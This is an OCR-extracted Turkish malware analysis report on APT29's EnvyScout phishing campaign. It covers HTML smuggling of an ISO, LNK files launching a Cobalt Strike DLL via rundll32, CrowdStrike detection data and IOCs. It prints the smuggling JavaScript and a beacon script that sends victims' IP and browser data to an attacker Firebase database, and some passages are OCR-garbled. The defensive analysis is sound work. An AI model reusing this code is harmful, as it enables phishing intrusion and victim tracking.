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Analiz Ozeti

APT29 tehdit grubu Rusya merkezli oldugu dusunulen ve genellikle Turkiye,Amerika ve
Avrupa kitasinda bulunan ulkelerin kritik altyapilarini hedef aldigi tespit edilen bir gelismis
tehdit aktoradur .

Bu analiz raporunda CrowdStrike Grunu kullanilarak APT29 grubunun bir alt kolu olan
NOBELIUM tehidt aktérine ait oldugu dusunulen EnvyScout zararlisinin analizini
gerceklestirdik.

Siber saldirganlar EnvyScout zararlisini hedef sistemlerde g¢alistirmak icin oltalama
tekniklerini siklikla kullanir. Analiz edilen siber saldirda APT29 grubunun tyeleri hedef
kurum veya kuruluglara HTML eki iceren oltalama mailleri gonderdigi gozlemlenmistir.
Gonderilen mail eklerinde HTML smuggling teknigi ile gizlenen zararl yazilim barindirdigi
tespit edilmigtir. APT29 grubunun temel amaci, EnvyScout zararlisinit HTML smuggling
teknigi ile hedef sistemden Initial Access alinmasi ve email gateway glivenlik Grtnlerinin bu
teknik ile bypass edilmesidir.

UAT feedback HNU3257

c filed82.htmi
: s v

Dear co-worker,

| trust this finds you well.

Attached is the copy of the UAT feedback HNU3257 collected ever since we started testing.
Kindly take time to review and update as far as the status section is concerned.

Looking forward to getting feedback from you soon.
Thank you.

Kind regards,

Trickbot zararlisi tarafindan kullanilan érnek bir HTML smuggling teknigi.(Kaynak: Microsoft)

Infinitum IT Siber Tehdit istihbarati ekibinin yaptigi calismalar sonucunda HTML smuggling
tekniginin bircok glvenlik Grind tarafindan tespit edilemedigi ve saldirganlar tarafindan
hedef sistemlere sizmak igin glinimuzde ¢ok sik olarak kullaniimaya baglandigi
g6zlemlenmektedir.



Teknik Analiz

Statik Zararli Analizi

Email eki olarak hedef kullanicilara génderilen HTML dosyasi analiz edildiginde iceriginde
JavaScript ve Base64 icerdigi tespit edilmistir. HTML smuggling tekniklerinde ¢ok sik
karsilastigimiz bu JavaScript kodunun temel amaci, Base64 ile gizlenen ISO dosyasini
(Zararlinin 2. asamasi ) hedef kullanici HTML dosyasini agtiktan sonra otomatik olarak
JavaScript yardimi ile Decode etmek ve Download klaséru altina bu ISO dosyasini kayit
etmektir. Burada HTML dosyasi bir dropper olarak kullanilir.

—<script>
f_data: v _'L_;L'__;‘_L__;__;_;- AAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAADAAAAADL ;__,L__L_;-;__;;'__;:__-;-__'L_;;-__;‘_L__;__;_;;__L"__-L__i__i__;-__;‘_.

C—=—> Zararli Yazilim ISO formatinda Base64 ile gizlenmis.

var global="object"==typeof windowé&&window.window===window?window:"object"==

bC atob (f data);
bN new Array(bC.length) ;
—for(var 1 =0;1 < bC.length; i++) {
bN[i] = bC.charCodeAt (1) ;

}

bA = new Uint8Array (bN) ;

blob = new Blob([bAl, {tvpe: "aspplication/x-cd-image"}) ;

saveAs (blob, |"Invitation documents.iso"); :> Decode edilen Base64,1SO
formatinda hedef sistemde
cikartilir.

~</script>
HTML iginde JavaScript kodu ile gizlenen Zararli Yazilim.

Hedef kullanici HTML dosyasini agtiginda oltalama saldirisini bozmayacak sekilde
hazirlanmis bir sayfa ile karsilagir. Burada temel amag kullaniciya ISO dosyasini dikkat
cekmeden actirmaktir.

HTML kodunun igerigine bakildiginda, oltalama sirasinda kullanilan yaziya ulasiliyor. HTML
dosyasi hedef kullanici tarafindan agildiginda bir web adresi yardimi ile hedef sistemlerden
IP verisinin alindigi1 gdézlemlenmistir.



</script>

<h1l>Downloading attachment</h1>

<p>You are kindly requested to <b>confirm your participation by 26 February 2021</b>, using our online
registration system. To register, please send an email to <a href=https://humanitarian-
forum.web.app/mail>humanitarianforum@auswaertiges-amt.de</a> upon which you will receive login

information to access the registration system.
Attached to this invitation you will find a concept note including a programme outline and a

pledging form.</p>

<p>We look forward to welcoming you in Berlin for this important event.</p>

<script>
Oltalama tekniginde kullanilan ve HTML iginde olan yazi.

let ip = s
try {
let request = new XMLHttpRequest();
request.open('GET', 'https://api.ipify.org/?format=jsonp?callback=?"', false);
request.onreadystatechange = function () {
ip = this.responseText;
}
request.send(null);
} catch(e) {}

let xf;
if(navigator.oscpu){
xf = navigator.oscpu;
}Yelse{
xf = navigator.platform;
}
let useragent = navigator.userAgent;
let time = Date.now();
let path = window.location.pathname.replace('/',"'"');
var data = {
'useragent ' :useragent,
'path':path,
'time' :time,
'ip':ip,
IXT LR
13
data = JSON.stringify(data);
let request = new XMLHttpRequest();
request.open('POST', 'https://humanitarian-forum-default-rtdb.firebaseio.com/root.json’,

request.setRequestHeader( 'Content-Type', 'application/json');
request.send(data);

} catch (e) {}

APT29 grubunun,hedef kullanicilardan IP adresi bilgisini api[.]ipify[.Jorg adresinden alarak
kendilerine ait firebase veritabaninda kayit altina aldigi tespit edilmistir.
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Downloading attachment

You are kindly requested to confirm your participation by 26 February 2021, using our online registration system. To register, please
send an email to humanitarianforum(@auswaertiges-amt.de upon which you will receive login information to access the registration
system. Attached to this invitation you will find a concept note including a programme outline and a pledging form.

We look forward to welcoming you in Berlin for this important event.

Hedef sisteme HTML dosyasi iginden gikartilan ISO dosyasi
Zararlinin 2.adimidir

v

B Invitation documen...iso A Show all X

Bu saldirida APT29 grubunun hedefi Avrupa kitasinda bulunan devlet kurumlaridir.

ISO dosyasi analiz edildiginde i¢eriginde 1 adet gizli olarak tutulan DLL dosyasi (Zararlinin
3.asamasi) ve LNK uzantil (Shortcut) 2 adet klasor vardir. Bu saldir tekniginde amag HTML
dosyasi ile gikarilan ISO dosyasina tiklayan hedef kullanicinin, ISO igindeki LNK uzantili
klasorlerini de tiklamasidir. LNK uzantili klasorler DLL dosyasinin rundll32.exe ile
calistirimasini saglamaktadir.

DVD Drive (E:) Documents

A R

GraphicalC Plending Programm

omponent. forms e outline
dll

ISO dosyasi agildiginda karsimiza ¢ikan LNK uzantili klasérler ve Zararh Yazilimin 3.adimi
olan DLL



LNK uzantili klasérler incelendiginde, target bolumunde bulunan komut yardimi ile LNK
klasoru acildiginda GraphicalComponent.dll isimli Zararh Yazilimin rundll32.exe ile
calistiriimasi saldirganlar tarafindan hedeflenmektedir.

DVD Drive (E:) Documents

GraphicalC
omponent.
dll

ni

Plending
forms

Programme outline Properties

General

Shortcut  Details

Programme outline

(o

Target type:

Target location:

Target:

Start in:
Shortcut key:
Run:

Comment:

Open File Location

Application

System32

‘ rundli32.exe

GraphicalComponent.dll

VisuaIServic‘

‘None

Normal window

Change Icon...

Advanced...

Rundll32.exe Zararh Yazilimlar tarafindan ¢ok sik olarak kullanilan bir
LOLBIN'dir.(https://lolbas-project.github.io/lolbas/Binaries/Rundll32/)

DLL dosyasina ait Export table analiz edildiginde,Zararlinin orjinal isminin DLL_stageless
oldugu ve en son 2021 yilinda compile edildigi tespit edilmistir. Zararli Yazilimin orjinal ismi
ve kullandigi Windows API’lari bize DLL dosyasinin Cobalt Strike zararlisi icerdigi ile ilgili
ipucu vermektedir.

Exports

Disasm: .text  General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs
Offset Name Value Meaning
FC40 Characteristics 0
FC44 TimeDateStamp 602D179F Wednesday, 3:18:23 UTC
FC48 MajorVersion 0
FC4A  MinorVersion 0
FCAC Name 11272 DLL_stageless.dll
FC50 Base 1
FC54 NumberOfFunctions 1
FC58 NumberOfNames 1
FC5C AddressOfFunctions 11268
FC60 AddressOfNames 1126C
FC64 AddressOfNameOrdinals 11270


https://lolbas-project.github.io/lolbas/Binaries/Rundll32/

DLL formatinda olan Zararli Yazilimlar bu érnekte de oldugu gibi belirli bir Entry Point ile
rundll32.exe ile hedef sistemde calistirilir. DLL dosyasi analiz edildiginde
VisualServiceComponent isimli bir Entry Point ile ¢alistigi tespit edilmigtir.

1. VisualServiceComponent

; Exported entry

public VisualServiceComponent
VisualServiceComponent proc near

anonymous_©= dword ptr
var_8= dword ptr

h ahy

@Choose an entry point O X

Address Ordinal
10001010 1
100019BB

Name
VisualServiceComponent

i DIIEntryPoint [main entry]

Line 1 of 2

OK Cancel Search Help

Cobalt Strike Zararhisinin DLL formatinda, Anti Viris veya EDR guvenlik Urnleri tarafindan
tespit edilmesini zorlastirmak i¢in APl Hashing teknigi ile memory Gzerinde Shellcode
yukleme islemi yaptigi tespit edilmigtir. Zararli Yazihm bdylece kullandigi Windows APl’larini
gizlemisgtir.

uintptr_t

{

_init_pointers()

PVOID ve;
H¥ LE ModuleHandleW; // edi
tr t i1t; ,t"‘ eax

vl = EncodePointer(@);
sub_10085FB7(v@) ;
sub_10001D6E(ve) ;
sub_10085FC4(ve);
_initp_misc_winsig(ve);
_initp_eh_hooks(v@);
sub_100861F2(ve);
ModuleHandlelW =
dword_10046C80
dword_10046C84

ModuleHandleW(L"kern
__security_cookie ’
__security_cookie ’

.d11");
(unsigned int)GetPr
(unsigned int

ModuleHandleW,
s(ModuleHandleW,

dword_10046C88
dword_10046C8C
dword_10046C90
dword_10046C94
dword_10046C98
dword_10046C9C
dword_10046CA0
dword_10046CA4
dword_10046CA8
dword_10e46CAC
dword_10e46CB@
dword_10e46CB4
dword_10046CB8
dword_10e46CBC
dword_10e46CCe
dword_10e46CC4

Disassembly edilen GraphicalComponent.dll Zararlisi, APl Hashing teknigi kuIIanyor
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__security_cookie ~
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__security_cookie ~ (unsigned
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(unsigned i
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int)GetPr«
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int)GetPr
int)GetPr
int)GetPro

s(ModuleHandleW,
s(ModuleHandleW,
s(ModuleHandleW,
ModuleHandleW,
ModuleHandleW,

ess(ModuleHandleW,

ModuleHandleW,
ModuleHandlel,
ModuleHandlel,
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s(ModuleHandleW, °
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CrowdStrike ile Dinamik Zararh Analizi

Cobalt Strike Zararlarini iceren GraphicalComponent.dll dosyasi rundll32.exe ile LAB

ortaminda calistirildiginda, APT29 grubuna ait komuta kontrol sunucusu ile surekli olarak

belirli araliklar ile baglanti istegi yaptigi tespit edilmistir.

Hacker View Tools Users Help
QJ Refresh .27 Options &ﬁ Find handles or DLLs #¥|System information ™ j x

Processes Services Network Disk

Name PID CPU 1/O total r... Private byt... User name
v _Jrundli32.exe 5264 828 kB DESKTOP-5C29KH5\RE
J rundli32.exe 3048 11.82 MB DESKTOP-5C29KH5\RE
B
Memory Environment Handles GPU Comment
General Statistics Performance Threads Token Modules
File

Windows host process (Rundl32)
(Verified) Microsoft Windows
Version: 10.0.19041.746

B " Information X

"C:\Windows\System32\rundlI32.exe" GraphicalComponent.dll VisualServiceComponent]

Process Tree lzerinden gorilen Rundll32 nin GraphicalComponent.dll Zararlisini yikledigi

gbzlemlenmektedir.

rundll

Description

Windows host process (Rundli3...
Windows host process (Rundli3...

Siber saldirganlar Cobalt Strike araci ile enfekte ettikleri cihazlara uzaktan erisim
saglayabilmektedir. Cobalt Strike Ginumuzde 6zellikle APT ve Ransomware gruplari

tarafindan Initial Access asamasinda en sik kullanilan saldiri araglarindan birisidir. Cobalt
Strike aracinin ¢ok esnek olmasi neticesinde, tehdit aktorleri Zararli Yazilimlarini ¢cok sik

degistirerek Behavior ve Signature tabanli ¢alisan Antivirls drtnlerini bypass edebilmektedir.

CrowdStrike yUklG olan test cihazinda EnvyScout Zararli Yazilim ¢alistinldiginda
CrowdStrike agent Yapay Zeka tabanl oldugu icin test edilen Zararliyi basarili olarak
engellemis ve kullaniciya bu durum hakkinda detayl olarak veri saglamistir.



» @ Ay

Detections

explorer.exe

2) Unassigned

[ oesKTOP-5C20KHS

Execution Details

CrowdStrike Gzerinden gelen Detections alarmlari incelendiginde process tree ekraninda
birgcok rundll32.exe sireci oldugu gorulmustir. Bu suregler incelendiginde komut satirlarinda
GraphicalComponent.dll dosyasini yurGtmeye ¢alistigi géraimustar.

rundli32.exe
Z) Unassigned
[ DESKTOP-5C20KHS

Exscution Detalls

CrowdStrike yonetici paneli Gzerinden, Zararli Yazilimin yaptidi bu islemin detaylarini
gérmek mumkunddr.



~ Processes and Services

Process Executions k o
File Name Command Line Excluded File Name(s) Excluded Command Line(s) Exclude Common Processes
rundii32.exe . NONE NONE
Time (UTC) ¢ Host Name + UserName ¢ File Name ¢ PID$ ProcessID$  Command Line # MDS 2
2022-03-16 10:29:22  DESKTOP-5C29KHS  RE rund1132. exe 5280 72103311 "C:\Windows\System32\rundl132.exe" GraphicalComponent.dll VisualServiceComponent  883b99c52 Se

2022-63-16 10:29:22 DESKTOP-5C29KH5 RE rund1132.exe 6856 171289095 "C:\Windows\System32\rund1132.exe" GraphicalComponent.dll VisualServiceComponent ef3179d498793bf4234f70

Hedef sistem Uzerinde c¢alisan Zararli Yazilimin ne zaman calistigini ve saldirgana ait hangi
komuta kontrol sunucusu ile iletisime gectigine ait verilere erisebiliyoruz.

N 1 @ Investigate [ Q search

TIMELINE » VISIBILITY REPORTS S U VULNERABILITIES » C INSTALLED APPLIC

IP Search
Use this page to search for multiple space-delimited IPvds Recommend only using one of the IP filters at a time.
Source IP (space-delimited); Destination IP (space-delimited): External IP (AIP) (Space-delimited): Company: Select time range:

139.99167.177 * Al Last 7 days

Search produced no results

IP Search Summary

Source IP ¢ nation IP & External IP Host Name # of Hosts & First Connection & First Connect Date + Last Connection & Last Connect Date &

CrowdStrike araci APT29 grubuna ait komuta kontrol IP adresini tespit etmistir.

|IOC Verisi

GraphicalComponent.dll



MD5 600aceaddb22b9ald6ae374ba7fc28c5
SHA-1 19a751ff6c5abd8e209f72add9cd35dd8e3af409
SHA-256 a4f1f09a2b9bc87de90891da6c0fca28e2f88fd67034648060cefo862af9a3bf

Cobalt Strike Komuta Kontrol Sunucusu
139[.]199[.]1167[.]177/jquery-3.3.1.min.js

Hedef Kullanicilardan IP Adresi Bilgisinin Alinmasi

apil.Jipify[.Jorg

humanitarian[-]forum[-]default[-]rtdb][.]firebaseio[.Jcom

MITRE ATT&CK Taktik ve Teknik Listesi

Tactic Technique
Defense Evasion Obfuscated Files or Information: HTML Smuggling [T1027.006]
Execution User Execution: Malicious File [T1204.002]

Command and Control | Application Layer Protocol: Web Protocols [T1071.001]

Initial Access Phishing: Spearphishing Attachment [T1566.001]
Defense Evasion Signed Binary Proxy Execution: Rundll32 [T1218.011]

Defense Evasion Deobfuscate/Decode Files or Information [T1140]



https://attack.mitre.org/techniques/T1027/006/
https://attack.mitre.org/techniques/T1204/002/
https://attack.mitre.org/techniques/T1071/001/
https://attack.mitre.org/techniques/T1566/001/
https://attack.mitre.org/techniques/T1218/011/
https://attack.mitre.org/techniques/T1140/

